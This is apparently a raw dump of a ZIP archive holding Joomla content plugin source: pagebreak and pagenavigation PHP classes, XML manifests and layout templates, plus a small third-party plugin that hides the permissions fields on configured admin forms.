			$hasToc = $this->params->get('multipage_toc', 1);

			// Adds heading or title to <site> Title.
			if ($title && $page && isset($matches[$page - 1][0]))
			{
				$attrs = JUtility::parseAttributes($matches[$page - 1][0]);

				if (isset($attrs['title']))
				{
					$row->page_title = $attrs['title'];
				}
			}

			// Reset the text, we already hold it in the $text array.
			$row->text = '';

			if ($style === 'pages')
			{
				// Display TOC.
				if ($hasToc)
				{
					$this->_createToc($row, $matches, $page);
				}
				else
				{
					$row->toc = '';
				}

				// Traditional mos page navigation
				$pageNav = new JPagination($n, $page, 1);

				// Flag indicates to not add limitstart=0 to URL
				$pageNav->hideEmptyLimitstart = true;

				// Page counter.
				$row->text .= '<div
class="pagenavcounter">';
				$row->text .= $pageNav->getPagesCounter();
				$row->text .= '</div>';

				// Page text.
				$text[$page] = str_replace('<hr id="system-readmore"
/>', '', $text[$page]);
				$row->text .= $text[$page];

				// $row->text .= '<br />';
				$row->text .= '<div class="pager">';

				// Adds navigation between pages to bottom of text.
				if ($hasToc)
				{
					$this->_createNavigation($row, $page, $n);
				}

				// Page links shown at bottom of page if TOC disabled.
				if (!$hasToc)
				{
					$row->text .= $pageNav->getPagesLinks();
				}

				$row->text .= '</div>';
			}
			else
			{
				$t[] = $text[0];

				$t[] = (string) JHtml::_($style . '.start',
'article' . $row->id . '-' . $style);

				foreach ($text as $key => $subtext)
				{
					if ($key >= 1)
					{
						$match = $matches[$key - 1];
						$match = (array) JUtility::parseAttributes($match[0]);

						if (isset($match['alt']))
						{
							$title = stripslashes($match['alt']);
						}
						elseif (isset($match['title']))
						{
							$title = stripslashes($match['title']);
						}
						else
						{
							$title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM',
$key + 1);
						}

						$t[] = (string) JHtml::_($style . '.panel', $title,
'article' . $row->id . '-' . $style . $key);
					}

					$t[] = (string) $subtext;
				}

				$t[] = (string) JHtml::_($style . '.end');

				$row->text = implode(' ', $t);
			}
		}

		return true;
	}

	/**
	 * Creates a Table of Contents for the pagebreak
	 *
	 * @param   object   &$row      The article object.  Note
$article->text is also available
	 * @param   array    &$matches  Array of matches of a regex in
onContentPrepare
	 * @param   integer  &$page     The 'page' number
	 *
	 * @return  void
	 *
	 * @since  1.6
	 */
	protected function _createToc(&$row, &$matches, &$page)
	{
		$heading     = isset($row->title) ? $row->title :
JText::_('PLG_CONTENT_PAGEBREAK_NO_TITLE');
		$input       = JFactory::getApplication()->input;
		$limitstart  = $input->getUInt('limitstart', 0);
		$showall     = $input->getInt('showall', 0);
		$headingtext = '';

		if ($this->params->get('article_index', 1) == 1)
		{
			$headingtext =
JText::_('PLG_CONTENT_PAGEBREAK_ARTICLE_INDEX');

			if ($this->params->get('article_index_text'))
			{
				$headingtext =
htmlspecialchars($this->params->get('article_index_text'),
ENT_QUOTES, 'UTF-8');
			}
		}

		// TOC first Page link.
		$this->list[1]          = new stdClass;
		$this->list[1]->liClass = ($limitstart === 0 && $showall
=== 0) ? 'toclink active' : 'toclink';
		$this->list[1]->class   = $this->list[1]->liClass;
		$this->list[1]->link    =
JRoute::_(ContentHelperRoute::getArticleRoute($row->slug,
$row->catid, $row->language));
		$this->list[1]->title   = $heading;

		$i = 2;

		foreach ($matches as $bot)
		{
			if (@$bot[0])
			{
				$attrs2 = JUtility::parseAttributes($bot[0]);

				if (@$attrs2['alt'])
				{
					$title = stripslashes($attrs2['alt']);
				}
				elseif (@$attrs2['title'])
				{
					$title = stripslashes($attrs2['title']);
				}
				else
				{
					$title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM',
$i);
				}
			}
			else
			{
				$title = JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM',
$i);
			}

			$this->list[$i]          = new stdClass;
			$this->list[$i]->link    =
JRoute::_(ContentHelperRoute::getArticleRoute($row->slug,
$row->catid, $row->language) . '&limitstart=' . ($i -
1));
			$this->list[$i]->title   = $title;
			$this->list[$i]->liClass = ($limitstart === $i - 1) ?
'active' : '';
			$this->list[$i]->class   = ($limitstart === $i - 1) ?
'toclink active' : 'toclink';

			$i++;
		}

		if ($this->params->get('showall'))
		{
			$this->list[$i]          = new stdClass;
			$this->list[$i]->link    =
JRoute::_(ContentHelperRoute::getArticleRoute($row->slug,
$row->catid, $row->language) . '&showall=1');
			$this->list[$i]->liClass = ($showall === 1) ? 'active' :
'';
			$this->list[$i]->class   = ($showall === 1) ? 'toclink
active' : 'toclink';
			$this->list[$i]->title   =
JText::_('PLG_CONTENT_PAGEBREAK_ALL_PAGES');
		}

		$list = $this->list;
		$path = JPluginHelper::getLayoutPath('content',
'pagebreak', 'toc');
		ob_start();
		include $path;
		$row->toc = ob_get_clean();
	}

	/**
	 * Creates the navigation for the item
	 *
	 * @param   object  &$row  The article object.  Note $article->text
is also available
	 * @param   int     $page  The page number
	 * @param   int     $n     The total number of pages
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function _createNavigation(&$row, $page, $n)
	{
		$links = array(
			'next' => '',
			'previous' => ''
		);

		if ($page < $n - 1)
		{
			$links['next'] =
JRoute::_(ContentHelperRoute::getArticleRoute($row->slug,
$row->catid, $row->language) . '&limitstart=' . ($page
+ 1));
		}

		if ($page > 0)
		{
			$links['previous'] =
ContentHelperRoute::getArticleRoute($row->slug, $row->catid,
$row->language);

			if ($page > 1)
			{
				$links['previous'] .= '&limitstart=' . ($page -
1);
			}

			$links['previous'] = JRoute::_($links['previous']);
		}

		$path = JPluginHelper::getLayoutPath('content',
'pagebreak', 'navigation');
		ob_start();
		include $path;
		$row->text .= ob_get_clean();
	}
}
PK	�[�Y�
88content/pagebreak/pagebreak.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="content" method="upgrade">
	<name>plg_content_pagebreak</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION</description>
	<files>
		<filename
plugin="pagebreak">pagebreak.php</filename>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_content_pagebreak.ini</language>
		<language
tag="en-GB">en-GB.plg_content_pagebreak.sys.ini</language>
	</languages>
	<config>
		<fields name="params">

			<fieldset name="basic">
				<field
					name="title"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_SITE_TITLE_LABEL"
					description="PLG_CONTENT_PAGEBREAK_SITE_TITLE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="article_index"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_LABEL"
					description="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="article_index_text"
					type="text"
					label="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT"
					description="PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT_DESC"
					showon="article_index:1"
				/>

				<field
					name="multipage_toc"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_TOC_LABEL"
					description="PLG_CONTENT_PAGEBREAK_TOC_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="showall"
					type="radio"
					label="PLG_CONTENT_PAGEBREAK_SHOW_ALL_LABEL"
					description="PLG_CONTENT_PAGEBREAK_SHOW_ALL_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="style"
					type="list"
					label="PLG_CONTENT_PAGEBREAK_STYLE_LABEL"
					description="PLG_CONTENT_PAGEBREAK_STYLE_DESC"
					default="pages"
					>
					<option
value="pages">PLG_CONTENT_PAGEBREAK_PAGES</option>
					<option
value="sliders">PLG_CONTENT_PAGEBREAK_SLIDERS</option>
					<option
value="tabs">PLG_CONTENT_PAGEBREAK_TABS</option>
				</field>
			</fieldset>

		</fields>
	</config>
</extension>
PK	�[��
��%content/pagebreak/tmpl/navigation.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

$lang = JFactory::getLanguage();
?>
<ul>
	<li>
		<?php if ($links['previous']) :
		$direction = $lang->isRtl() ? 'right' : 'left';
		$title = htmlspecialchars($this->list[$page]->title, ENT_QUOTES,
'UTF-8');
		$ariaLabel = JText::_('JPREVIOUS') . ': ' . $title .
' (' .
JText::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', $page, $n) .
')';
		?>
		<a href="<?php echo $links['previous']; ?>"
title="<?php echo $title; ?>" aria-label="<?php
echo $ariaLabel; ?>" rel="prev">
			<?php echo '<span class="icon-chevron-' .
$direction . '" aria-hidden="true"></span>
' . JText::_('JPREV'); ?>
		</a>
		<?php endif; ?>
	</li>
	<li>
		<?php if ($links['next']) :
		$direction = $lang->isRtl() ? 'left' : 'right';
		$title = htmlspecialchars($this->list[$page + 2]->title,
ENT_QUOTES, 'UTF-8');
		$ariaLabel = JText::_('JNEXT') . ': ' . $title .
' (' .
JText::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', ($page + 2),
$n) . ')';
		?>
		<a href="<?php echo $links['next']; ?>"
title="<?php echo $title; ?>" aria-label="<?php
echo $ariaLabel; ?>" rel="next">
			<?php echo JText::_('JNEXT') . ' <span
class="icon-chevron-' . $direction . '"
aria-hidden="true"></span>'; ?>
		</a>
		<?php endif; ?>
	</li>
</ul>
PK	�[���Ocontent/pagebreak/tmpl/toc.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagebreak
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="pull-right article-index">

	<?php if ($headingtext) : ?>
	<h3><?php echo $headingtext; ?></h3>
	<?php endif; ?>

	<ul class="nav nav-tabs nav-stacked">
	<?php foreach ($list as $listItem) : ?>
		<?php $class = $listItem->liClass ? ' class="' .
$listItem->liClass . '"' : ''; ?>
		<li<?php echo $class; ?>>
			<a href="<?php echo $listItem->link; ?>"
class="<?php echo $listItem->class; ?>">
				<?php echo $listItem->title; ?>
			</a>
		</li>
	<?php endforeach; ?>
	</ul>
</div>
PK	�[�E�^)content/pagenavigation/pagenavigation.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagenavigation
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE .
'/components/com_content/helpers/route.php');

/**
 * Pagenavigation plugin class.
 *
 * @since  1.5
 */
class PlgContentPagenavigation extends JPlugin
{
	/**
	 * If in the article view and the parameter is enabled shows the page
navigation
	 *
	 * @param   string   $context  The context of the content being passed to
the plugin
	 * @param   object   &$row     The article object
	 * @param   mixed    &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  mixed  void or true
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDisplay($context, &$row, &$params,
$page = 0)
	{
		$app   = JFactory::getApplication();
		$view  = $app->input->get('view');
		$print = $app->input->getBool('print');

		if ($print)
		{
			return false;
		}

		if ($context === 'com_content.article' && $view ===
'article' &&
$params->get('show_item_navigation'))
		{
			$db       = JFactory::getDbo();
			$user     = JFactory::getUser();
			$lang     = JFactory::getLanguage();
			$nullDate = $db->getNullDate();

			$date = JFactory::getDate();
			$now  = $date->toSql();

			$uid        = $row->id;
			$option     = 'com_content';
			$canPublish = $user->authorise('core.edit.state', $option .
'.article.' . $row->id);

			/**
			 * The following is needed as different menu items types utilise a
different param to control ordering.
			 * For Blogs the `orderby_sec` param is the order controlling param.
			 * For Table and List views it is the `orderby` param.
			**/
			$params_list = $params->toArray();

			if (array_key_exists('orderby_sec', $params_list))
			{
				$order_method = $params->get('orderby_sec', '');
			}
			else
			{
				$order_method = $params->get('orderby', '');
			}

			// Additional check for invalid sort ordering.
			if ($order_method === 'front')
			{
				$order_method = '';
			}

			// Get the order code
			$orderDate = $params->get('order_date');
			$queryDate = $this->getQueryDate($orderDate);

			// Determine sort order.
			switch ($order_method)
			{
				case 'date' :
					$orderby = $queryDate;
					break;
				case 'rdate' :
					$orderby = $queryDate . ' DESC ';
					break;
				case 'alpha' :
					$orderby = 'a.title';
					break;
				case 'ralpha' :
					$orderby = 'a.title DESC';
					break;
				case 'hits' :
					$orderby = 'a.hits';
					break;
				case 'rhits' :
					$orderby = 'a.hits DESC';
					break;
				case 'order' :
					$orderby = 'a.ordering';
					break;
				case 'author' :
					$orderby = 'a.created_by_alias, u.name';
					break;
				case 'rauthor' :
					$orderby = 'a.created_by_alias DESC, u.name DESC';
					break;
				case 'front' :
					$orderby = 'f.ordering';
					break;
				default :
					$orderby = 'a.ordering';
					break;
			}

			$xwhere = ' AND (a.state = 1 OR a.state = -1)'
				. ' AND (publish_up = ' . $db->quote($nullDate) . '
OR publish_up <= ' . $db->quote($now) . ')'
				. ' AND (publish_down = ' . $db->quote($nullDate) . '
OR publish_down >= ' . $db->quote($now) . ')';

			// Array of articles in same category correctly ordered.
			$query = $db->getQuery(true);

			// Sqlsrv changes
			$case_when = ' CASE WHEN ' .
$query->charLength('a.alias', '!=', '0');
			$a_id = $query->castAsChar('a.id');
			$case_when .= ' THEN ' . $query->concatenate(array($a_id,
'a.alias'), ':');
			$case_when .= ' ELSE ' . $a_id . ' END as slug';

			$case_when1 = ' CASE WHEN ' .
$query->charLength('cc.alias', '!=', '0');
			$c_id = $query->castAsChar('cc.id');
			$case_when1 .= ' THEN ' . $query->concatenate(array($c_id,
'cc.alias'), ':');
			$case_when1 .= ' ELSE ' . $c_id . ' END as catslug';
			$query->select('a.id, a.title, a.catid, a.language,' .
$case_when . ',' . $case_when1)
				->from('#__content AS a')
				->join('LEFT', '#__categories AS cc ON cc.id =
a.catid');

			if ($order_method === 'author' || $order_method ===
'rauthor')
			{
				$query->select('a.created_by, u.name');
				$query->join('LEFT', '#__users AS u ON u.id =
a.created_by');
			}

			$query->where(
					'a.catid = ' . (int) $row->catid . ' AND a.state =
' . (int) $row->state
						. ($canPublish ? '' : ' AND a.access IN (' .
implode(',', JAccess::getAuthorisedViewLevels($user->id)) .
') ') . $xwhere
				);
			$query->order($orderby);

			if ($app->isClient('site') &&
$app->getLanguageFilter())
			{
				$query->where('a.language in (' .
$db->quote($lang->getTag()) . ',' .
$db->quote('*') . ')');
			}

			$db->setQuery($query);
			$list = $db->loadObjectList('id');

			// This check needed if incorrect Itemid is given resulting in an
incorrect result.
			if (!is_array($list))
			{
				$list = array();
			}

			reset($list);

			// Location of current content item in array list.
			$location = array_search($uid, array_keys($list));
			$rows     = array_values($list);

			$row->prev = null;
			$row->next = null;

			if ($location - 1 >= 0)
			{
				// The previous content item cannot be in the array position -1.
				$row->prev = $rows[$location - 1];
			}

			if (($location + 1) < count($rows))
			{
				// The next content item cannot be in an array position greater than
the number of array postions.
				$row->next = $rows[$location + 1];
			}

			if ($row->prev)
			{
				$row->prev_label = ($this->params->get('display', 0)
== 0) ? JText::_('JPREV') : $row->prev->title;
				$row->prev =
JRoute::_(ContentHelperRoute::getArticleRoute($row->prev->slug,
$row->prev->catid, $row->prev->language));
			}
			else
			{
				$row->prev_label = '';
				$row->prev = '';
			}

			if ($row->next)
			{
				$row->next_label = ($this->params->get('display', 0)
== 0) ? JText::_('JNEXT') : $row->next->title;
				$row->next =
JRoute::_(ContentHelperRoute::getArticleRoute($row->next->slug,
$row->next->catid, $row->next->language));
			}
			else
			{
				$row->next_label = '';
				$row->next = '';
			}

			// Output.
			if ($row->prev || $row->next)
			{
				// Get the path for the layout file
				$path = JPluginHelper::getLayoutPath('content',
'pagenavigation');

				// Render the pagenav
				ob_start();
				include $path;
				$row->pagination = ob_get_clean();

				$row->paginationposition =
$this->params->get('position', 1);

				// This will default to the 1.5 and 1.6-1.7 behavior.
				$row->paginationrelative =
$this->params->get('relative', 0);
			}
		}
	}

	/**
	 * Translate an order code to a field for primary ordering.
	 *
	 * @param   string  $orderDate  The ordering code.
	 *
	 * @return  string  The SQL field(s) to order by.
	 *
	 * @since   3.3
	 */
	private static function getQueryDate($orderDate)
	{
		$db = JFactory::getDbo();

		switch ($orderDate)
		{
			// Use created if modified is not set
			case 'modified' :
				$queryDate = ' CASE WHEN a.modified = ' .
$db->quote($db->getNullDate()) . ' THEN a.created ELSE
a.modified END';
				break;

			// Use created if publish_up is not set
			case 'published' :
				$queryDate = ' CASE WHEN a.publish_up = ' .
$db->quote($db->getNullDate()) . ' THEN a.created ELSE
a.publish_up END ';
				break;

			// Use created as default
			case 'created' :
			default :
				$queryDate = ' a.created ';
				break;
		}

		return $queryDate;
	}
}
PK	�[��N�)content/pagenavigation/pagenavigation.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin"
group="content" method="upgrade">
	<name>plg_content_pagenavigation</name>
	<author>Joomla! Project</author>
	<creationDate>January 2006</creationDate>
	<copyright>Copyright (C) 2005 - 2020 Open Source Matters. All rights
reserved.</copyright>
	<license>GNU General Public License version 2 or later; see
LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_PAGENAVIGATION_XML_DESCRIPTION</description>
	<files>
		<filename
plugin="pagenavigation">pagenavigation.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language
tag="en-GB">en-GB.plg_content_pagenavigation.ini</language>
		<language
tag="en-GB">en-GB.plg_content_pagenavigation.sys.ini</language>
	</languages>
	<config>
		<fields name="params">

			<fieldset name="basic">
				<field
					name="position"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_POSITION_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_POSITION_DESC"
					default="1"
					filter="integer"
					>
					<option
value="1">PLG_PAGENAVIGATION_FIELD_VALUE_BELOW</option>
					<option
value="0">PLG_PAGENAVIGATION_FIELD_VALUE_ABOVE</option>
				</field>

				<field
					name="relative"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_RELATIVE_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_RELATIVE_DESC"
					default="1"
					filter="integer"
					>
					<option
value="1">PLG_PAGENAVIGATION_FIELD_VALUE_ARTICLE</option>
					<option
value="0">PLG_PAGENAVIGATION_FIELD_VALUE_TEXT</option>
				</field>

				<field
					name="display"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_DISPLAY_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_DISPLAY_DESC"
					default="0"
					filter="integer"
					>
					<option
value="0">PLG_PAGENAVIGATION_FIELD_VALUE_NEXTPREV</option>
					<option
value="1">PLG_PAGENAVIGATION_FIELD_VALUE_TITLE</option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
PK	�[�(8���'content/pagenavigation/tmpl/default.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagenavigation
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$lang = JFactory::getLanguage();

?>
<ul class="pager pagenav">
<?php if ($row->prev) :
	$direction = $lang->isRtl() ? 'right' : 'left';
?>
	<li class="previous">
		<a class="hasTooltip" title="<?php echo
htmlspecialchars($rows[$location-1]->title); ?>"
aria-label="<?php echo JText::sprintf('JPREVIOUS_TITLE',
htmlspecialchars($rows[$location-1]->title)); ?>"
href="<?php echo $row->prev; ?>"
rel="prev">
			<?php echo '<span class="icon-chevron-' .
$direction . '" aria-hidden="true"></span>
<span aria-hidden="true">' . $row->prev_label .
'</span>'; ?>
		</a>
	</li>
<?php endif; ?>
<?php if ($row->next) :
	$direction = $lang->isRtl() ? 'left' : 'right';
?>
	<li class="next">
		<a class="hasTooltip" title="<?php echo
htmlspecialchars($rows[$location+1]->title); ?>"
aria-label="<?php echo JText::sprintf('JNEXT_TITLE',
htmlspecialchars($rows[$location+1]->title)); ?>"
href="<?php echo $row->next; ?>"
rel="next">
			<?php echo '<span aria-hidden="true">' .
$row->next_label . '</span> <span
class="icon-chevron-' . $direction . '"
aria-hidden="true"></span>'; ?>
		</a>
	</li>
<?php endif; ?>
</ul>
PK	�[�#o,,+content/remove_permission/fields/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�#o,,$content/remove_permission/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�
/��Pcontent/remove_permission/language/en-GB/en-GB.plg_content_remove_permission.ininu�[���PLG_CONTENT_REMOVE_PERMISSION="Content
- Remove_permission"
PLG_CONTENT_REMOVE_PERMISSION_DESCRIPTION="remove_permission"
PLG_CONTENT_REMOVE_PERMISSION_XML_DESCRIPTION="<h1>Content -
Remove_permission (v.1.0.0)</h1> <div style='clear:
both;'></div><p>remove_permission</p><p>Created
by <a href='http://Lmskaran.com'
target='_blank'>Lmskaran</a><br
/><small>Development started 12th February,
2022</small></p>"
PLG_CONTENT_REMOVE_PERMISSION_REMOVE_PERMISSION_CONTEXT_LABEL="context"
PLG_CONTENT_REMOVE_PERMISSION_REMOVE_PERMISSION_CONTEXT_DESCRIPTION="enter
component pages context and separate those by &quot;,&quot;
delimiter to remove pages permission tab"
PLG_CONTENT_REMOVE_PERMISSION_REMOVE_PERMISSION_CONTEXT_MESSAGE="Error!
Please add some text here."PK	�[�
/��Tcontent/remove_permission/language/en-GB/en-GB.plg_content_remove_permission.sys.ininu�[���PLG_CONTENT_REMOVE_PERMISSION="Content
- Remove_permission"
PLG_CONTENT_REMOVE_PERMISSION_DESCRIPTION="remove_permission"
PLG_CONTENT_REMOVE_PERMISSION_XML_DESCRIPTION="<h1>Content -
Remove_permission (v.1.0.0)</h1> <div style='clear:
both;'></div><p>remove_permission</p><p>Created
by <a href='http://Lmskaran.com'
target='_blank'>Lmskaran</a><br
/><small>Development started 12th February,
2022</small></p>"
PLG_CONTENT_REMOVE_PERMISSION_REMOVE_PERMISSION_CONTEXT_LABEL="context"
PLG_CONTENT_REMOVE_PERMISSION_REMOVE_PERMISSION_CONTEXT_DESCRIPTION="enter
component pages context and separate those by &quot;,&quot;
delimiter to remove pages permission tab"
PLG_CONTENT_REMOVE_PERMISSION_REMOVE_PERMISSION_CONTEXT_MESSAGE="Error!
Please add some text
here."PK	�[�#o,,3content/remove_permission/language/en-GB/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�#o,,-content/remove_permission/language/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[1�>�	�	/content/remove_permission/remove_permission.phpnu�[���<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.76
	@build			12th February, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		remove_permission.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');


/***[JCBGUI.class_extends.head.1.$$$$]***/

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Plugin\CMSPlugin;
/***[/JCBGUI$$$$]***/


/***[JCBGUI.class_extends.comment.1.$$$$]***/
/**
 * Content - Remove_permission plugin.
 *
 * @package   Remove_permission
 * @since     1.0.0
 *//***[/JCBGUI$$$$]***/

class PlgContentRemove_permission extends CMSPlugin
{

/***[JCBGUI.joomla_plugin.main_class_code.83.$$$$]***/
public function onContentPrepareForm($form, $data)
{
    $form_name= $form->getName();
    $context= explode(',',
$this->params->get('remove_permission_context'));
    if (!($form instanceof JForm))
    {
       
JFactory::getApplication()->enqueueMessage('JERROR_NOT_A_FORM','error');
        return false;
    }
    if (!in_array($form_name, $context)) {
        return true;
    }

//    $permission= 'accesscontrol';
//    if ($form_name == 'com_config.component')
//    {
//
//        $moojla_config_sign=
$form->getFieldset("enrolment_custom_config");
//        if (empty($moojla_config_sign))
//            return true;
//        else
//            $permission= 'permissions';
//    }

    $form->removeField('asset_id');
    $form->removeField('rules');
//    foreach ($form->getFieldset($permission) as $item) {

//        $name= $item->getAttribute('name');
//        $form->removeField($name);
//    }

    return true;
}/***[/JCBGUI$$$$]***/
    

}
PK	�[I�*/content/remove_permission/remove_permission.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension type="plugin" version="4"
group="content" method="upgrade">
	<name>PLG_CONTENT_REMOVE_PERMISSION</name>
	<creationDate>13th February, 2022</creationDate>
	<author>Lmskaran</author>
	<authorEmail>info@Lmskaran.com</authorEmail>
	<authorUrl>http://Lmskaran.com</authorUrl>
	<copyright>Copyright (C) 2015. All Rights Reserved</copyright>
	<license>GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html</license>
	<version>1.0.0</version>
	<description>PLG_CONTENT_REMOVE_PERMISSION_XML_DESCRIPTION</description>

	<!-- Language files -->
	<languages folder="language">
		<language
tag="en-GB">en-GB/en-GB.plg_content_remove_permission.ini</language>
		<language
tag="en-GB">en-GB/en-GB.plg_content_remove_permission.sys.ini</language>
	</languages>

	<!-- Plugin files -->
	<files>
		<filename
plugin="remove_permission">remove_permission.php</filename>
		<filename>index.html</filename>
		<folder>language</folder>
		<folder>fields</folder>
		<folder>rules</folder>
	</files>

	<!-- Config parameter -->
	<config>
	<fields name="params">
	<!-- default paths of basic fieldset points to the plugin -->
	<fieldset name="basic" label="basic"
		addrulepath="/plugins/content/remove_permission/rules"
		addfieldpath="/plugins/content/remove_permission/fields"
	>
		<!--  Remove_permission_context Field. Type: Text. (joomla) -->
	<field type="text"
               name="remove_permission_context"
              
label="PLG_CONTENT_REMOVE_PERMISSION_REMOVE_PERMISSION_CONTEXT_LABEL"
               size="10"
               maxlength="1000"
               default=""
              
description="PLG_CONTENT_REMOVE_PERMISSION_REMOVE_PERMISSION_CONTEXT_DESCRIPTION"
               class="text_area"
               readonly="false"
               disabled="false"
               required="false"
               filter="STRING"
              
message="PLG_CONTENT_REMOVE_PERMISSION_REMOVE_PERMISSION_CONTEXT_MESSAGE"
               autocomplete="on" />
	</fieldset>
	</fields>
	</config>
</extension>PK	�[�#o,,*content/remove_permission/rules/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�����content/vote/tmpl/rating.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Layout variables
 * -----------------
 * @var   string   $context  The context of the content being passed to the
plugin
 * @var   object   &$row     The article object
 * @var   object   &$params  The article params
 * @var   integer  $page     The 'page' number
 * @var   array    $parts    The context segments
 * @var   string   $path     Path to this file
 */

if ($context == 'com_content.categories')
{
	return;
}

$rating = (int) $row->rating;
$rcount = (int) $row->rating_count;

// Look for images in template if available
$starImageOn  = JHtml::_('image',
'system/rating_star.png',
JText::_('PLG_VOTE_STAR_ACTIVE'), null, true);
$starImageOff = JHtml::_('image',
'system/rating_star_blank.png',
JText::_('PLG_VOTE_STAR_INACTIVE'), null, true);

$img = '';

for ($i = 0; $i < $rating; $i++)
{
	$img .= $starImageOn;
}

for ($i = $rating; $i < 5; $i++)
{
	$img .= $starImageOff;
}

?>
<div class="content_rating">
	<?php if ($rcount) : ?>
		<p class="unseen element-invisible"
itemprop="aggregateRating" itemscope
itemtype="https://schema.org/AggregateRating">
			<?php echo JText::sprintf('PLG_VOTE_USER_RATING',
'<span itemprop="ratingValue">' . $rating .
'</span>', '<span
itemprop="bestRating">5</span>'); ?>
			<meta itemprop="ratingCount" content="<?php echo
$rcount; ?>" />
			<meta itemprop="worstRating" content="1" />
		</p>
	<?php endif; ?>
	<?php echo $img; ?>
</div>
PK	�[�0ɼ�content/vote/tmpl/vote.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
